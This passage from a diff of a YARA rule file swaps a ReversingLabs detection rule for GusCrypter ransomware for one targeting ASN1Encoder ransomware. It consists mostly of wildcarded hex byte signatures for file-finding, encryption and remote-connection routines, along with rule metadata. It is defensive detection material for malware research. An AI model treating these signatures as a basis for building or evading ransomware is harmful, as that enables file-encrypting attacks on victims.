+            09 11 07 9A 08 28 ?? ?? ?? ?? 2C 0A 09 11 07 17 58 9A 13 04 2B ?? 11 07 18 58 13 07
+            11 07 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 2D ?? 12 00 7B ?? ?? ?? ?? 6F ?? ??
+            ?? ?? 2D ?? 28 ?? ?? ?? ?? 12 00 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 16
+            13 08 2B ?? 09 11 08 9A 08 28 ?? ?? ?? ?? 2C ?? 09 11 08 17 58 9A 13 04 2B ?? 11 08
+            18 58 13 08 11 08 09 8E 69 17 59 32 ?? 11 04 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 11 04
+            16 6F ?? ?? ?? ?? 1F 5B 33 ?? 11 04 1F 5D 6F ?? ?? ?? ?? 13 09 11 04 17 11 09 17 59
+            6F ?? ?? ?? ?? 13 0A 11 0A 1F 7A 6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 05 11 0A 1F 74
+            6F ?? ?? ?? ?? 16 FE 04 16 FE 01 13 06 11 04 11 09 17 58 6F ?? ?? ?? ?? 13 04 7E ??
+            ?? ?? ?? 25 13 14 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 04 6F ?? ?? ?? ?? 2C ?? 7E ?? ??
+            ?? ?? 11 04 6F ?? ?? ?? ?? 13 12 DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 6F ?? ?? ?? ??
+            13 0B 11 0B 39 ?? ?? ?? ?? 11 0B 6F ?? ?? ?? ?? 69 13 0C 11 0C 8D ?? ?? ?? ?? 13 0D
+            11 0B 11 0D 16 11 0C 6F ?? ?? ?? ?? 26 11 05 2C ?? 11 0D 28 ?? ?? ?? ?? 13 0D 14 13
+            0E 11 06 2D ?? 11 0D 28 ?? ?? ?? ?? 13 0E DE 0C 26 17 13 06 DE ?? 26 17 13 06 DE ??
+            11 06 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 04 28 ?? ?? ?? ?? 13 0F 11 0F 28 ?? ??
+            ?? ?? 26 11 0F 12 00 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 10 11 10 28 ??
+            ?? ?? ?? 2D ?? 11 10 28 ?? ?? ?? ?? 13 11 11 11 11 0D 16 11 0D 8E 69 6F ?? ?? ?? ??
+            11 11 6F ?? ?? ?? ?? 11 10 14 1A 28 ?? ?? ?? ?? 26 11 0F 14 1A 28 ?? ?? ?? ?? 26 11
+            10 28 ?? ?? ?? ?? 13 0E DE ?? 26 DE ?? 7E ?? ?? ?? ?? 11 04 11 0E 6F ?? ?? ?? ?? 11
+            0E 13 12 DE ?? DE ?? 11 14 28 ?? ?? ?? ?? DC 14 2A 11 12 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($enum_resources)
+		uint16(0)==0x5A4D and (($call_encrypt and $encrypt_files and $start_process) or ($msgbox_timer) or ($unzip_packed_file and $resolve_assembly))
 }
-rule REVERSINGLABS_Win32_Ransomware_Guscrypter : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Asn1Encoder : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects GusCrypter ransomware."
+		description = "Yara rule that detects ASN1Encoder ransomware."
 		author = "ReversingLabs"
-		id = "64aa468c-ec24-58aa-8ea9-23f0cebed227"
-		date = "2020-11-26"
-		modified = "2020-11-26"
+		id = "5fa361e5-4ab0-5856-92b2-6f434e33c350"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.GusCrypter.yara#L1-L129"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "cfe6005028c0e5f5d713af2a549574203678bab2ee48acc1727702bcf91522b1"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.ASN1Encoder.yara#L1-L136"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "000fd846fa5f09af19ead4623bb5a8eb51cdb4c751013569bf070710d3e0d61d"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42377,106 +42432,114 @@ rule REVERSINGLABS_Win32_Ransomware_Guscrypter : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GusCrypter"
+		tc_detection_name = "ASN1Encoder"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 45 ?? 8B 5D ?? 83 FB ?? 8B 75 ?? 8B 4D ?? 0F 43 C6 83 F9 ?? 75 ?? 80 38 ?? 0F
-            84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? BA ?? ?? ?? ?? 66 39 10 0F
-            84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 66 81 3A ?? ?? 75 ?? 80 7A
-            ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 81 3A ?? ?? ?? ?? 75 ??
-            66 81 7A ?? ?? ?? 75 ?? 80 7A ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 FB ?? 0F
-            43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83
-            EF ?? 73 ?? 8A 01 3A 02 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 F8
-            ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ??
-            66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D
-            ?? 0F 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2
-            ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 4D
-            ?? 8D 45 ?? 83 FB ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ??
-            ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75
+		$remote_connection_p1 = {
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 0F B6
+            84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ??
+            83 C4 ?? 83 C3 ?? 46 83 FE ?? 72 ?? 8B 5C 24 ?? BE ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 50
+            68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50
+            E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 8B F0 85 FF 74 ?? A1 ?? ?? ?? ?? 0F B6 04 06 50 B8 ??
+            ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 C3 ?? 46 3B F7
+            72 ?? 8B 5C 24 ?? A1 ?? ?? ?? ?? BE ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? 56 50 E8 ?? ??
+            ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B FB 8B F0 0F B6
+            84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 57 E8 ?? ?? ?? ??
+            83 C4 ?? 83 C7 ?? 46 83 FE ?? 72 ?? A1 ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? BB ?? ?? ??
+            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ??
+            ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 51 ?? 66 8B 01
+            83 C1 ?? 66 3B C6 75 ?? 2B CA 8B 15 ?? ?? ?? ?? D1 F9 8D 72 ?? 8A 02 42 84 C0 75 ??
+            8B 3D ?? ?? ?? ?? 2B D6 8D 04 0A 8D 34 45 ?? ?? ?? ?? 56 6A ?? FF D7 50 FF 15 ?? ??
+            ?? ?? 8B D8 8D 04 36 50 6A ?? 89 5C 24 ?? FF D7 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ??
+            ?? 8B F8 FF 35 ?? ?? ?? ?? 89 7C 24 ?? 68 ?? ?? ?? ?? 56 53 E8 ?? ?? ?? ?? 33 C9 89
         }
-		$find_files_p2 = {
-            81 38 ?? ?? ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83
-            F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ??
-            81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ??
-            0F 43 CE 83 7D ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ??
-            83 C2 ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ??
-            83 FB ?? 8D 45 ?? 0F 43 C6 83 7D ?? ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ??
-            ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 7D
-            ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF
-            ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 75
-            ?? 8D 85 ?? ?? ?? ?? 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ??
-            ?? 8B CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
-            C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ??
-            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B BD ?? ?? ?? ?? C6 45 ?? ?? 83 FB ?? 72 ?? 43 8B C6 81 FB ?? ?? ?? ??
-            72 ?? 8B 76 ?? 83 C3 ?? 2B C6 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 53 56 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF
-            15
+		$remote_connection_p2 = {
+            44 24 ?? 83 C4 ?? 89 8C 24 ?? ?? ?? ?? 8B D9 85 C0 7E ?? 8B 44 24 ?? 0F B7 04 58 66
+            89 84 24 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? BE
+            ?? ?? ?? ?? 83 C3 ?? A5 A5 66 A5 EB ?? 8D 94 24 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ??
+            66 3B C1 75 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3
+            A5 8B CA 83 E1 ?? F3 A4 33 C9 8B 7C 24 ?? 43 3B 5C 24 ?? 7C ?? FF 74 24 ?? 51 FF 15
+            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 FF 35 ?? ?? ?? ?? 33 C0 50 FF 15 ?? ?? ?? ??
+            50 FF D6 8B 5C 24 ?? 53 33 DB 53 FF 15 ?? ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ??
+            ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF D6 8B 5C 24 ?? 89 3D ?? ??
+            ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF E9 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0
+            0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 8B F3 89 5C 24 ?? 8D 4E ?? 8A 06 46 84
+            C0 75 ?? 8B 3D ?? ?? ?? ?? 2B F1 68 ?? ?? ?? ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 89
+            44 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B C8 8B F8 3B FE 73 ?? 81 F9 ?? ?? ?? ?? 74 ?? FF 74
+            24 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 04 1F 50 E8
         }
 		$encrypt_files_p1 = {
-            88 84 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7C ?? 33 FF 33 F6 8B C6 8A 9C 35 ?? ?? ?? ??
-            99 F7 7D ?? 0F B6 04 0A 03 F8 0F B6 CB 03 F9 81 E7 ?? ?? ?? ?? 79 ?? 4F 81 CF ?? ??
-            ?? ?? 47 8A 84 3D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 88 84 35 ?? ?? ?? ?? 46 88 9C 3D ??
-            ?? ?? ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50
-            E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8B 4D ?? 32 D2 E8 ?? ?? ?? ??
-            8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
-            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D
-            ?? 42 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
-            F8 ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45
-            ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 33 F6
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
+            8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 8B CA 83
+            E1 ?? 68 ?? ?? ?? ?? F3 A4 50 FF 15 ?? ?? ?? ?? 8B D8 33 FF 89 5C 24 ?? 89 3D ?? ??
+            ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FB ?? 74 ?? 85 DB 0F 85 ?? ?? ?? ?? 33
+            F6 8D 8C 24 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? BE ?? ?? ?? ?? 50
+            8D 44 24 ?? 8B D6 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B CE E8 ?? ?? ?? ?? 33 D2
+            8D 88 ?? ?? ?? ?? 8D 81 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8B 44 24 ?? C1 E8 ?? 89
+            44 24 ?? 83 C0 ?? 89 44 24 ?? 8B F0 8B C1 F7 F6 40 0F AF 44 24 ?? 50 6A ?? 89 44 24
+            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ??
+            8D 44 24 ?? 83 C4 ?? 81 C2 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8C 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 39 5C 24 ?? 76 ?? 8B 44 24 ?? 8D
+            54 24 ?? 8B 4C 24 ?? 2B C3 3B 44 24 ?? 0F 42 F0 8D 84 24 ?? ?? ?? ?? 50 8B 44 24 ??
+            8D 0C 39 68 ?? ?? ?? ?? 03 C3 56 50 E8 ?? ?? ?? ?? 03 7C 24 ?? 83 C4 ?? 03 DE 3B 7C
+            24 ?? 72 ?? 33 FF 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 83 FB ?? 74 ?? 85 DB 74 ?? 57 8D 44 24 ??
+            89 7C 24 ?? 8B 3D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D7 33 F6 8D 44
         }
 		$encrypt_files_p2 = {
-            0F BE 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 46 83 C4 ?? 83 FE ?? 7C ?? 53 E8 ?? ?? ??
-            ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83
-            7D ?? ?? 8D 4D ?? 8A 85 ?? ?? ?? ?? 0F 43 4D ?? C7 45 ?? ?? ?? ?? ?? 88 01 C6 41 ??
-            ?? 33 C9 8B 75 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            4D ?? 83 7D ?? ?? 8B F8 0F 43 4D ?? 56 57 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE
-            07 FF B5 ?? ?? ?? ?? 35 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B
-            BD ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ??
-            83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 32 D2 C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 50 ?? 8B C1
-            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ??
-            ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ??
-            ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$misc_checks_p1 = {
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83
-            F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ??
-            ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F
-            84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            24 ?? 56 50 FF 74 24 ?? FF 74 24 ?? 53 FF D7 33 FF 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6
+            FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 50 FF D6 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ??
+            ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 F6 56 53 FF 15 ?? ?? ?? ?? 3D ??
+            ?? ?? ?? 76 ?? 39 35 ?? ?? ?? ?? 75 ?? 56 53 FF 15 ?? ?? ?? ?? 56 8B F8 B8 ?? ?? ??
+            ?? 56 50 53 2B F8 FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            56 8D 8C 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? 51 57 50 53 FF 15 ?? ?? ?? ?? 33 C0 50 50 50
+            53 FF 15 ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF
+            15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? 89 5C 24 ?? FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ??
+            50 FF 15
         }
-		$misc_checks_p2 = {
-            85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ??
-            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ??
-            83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? E9
+		$find_files = {
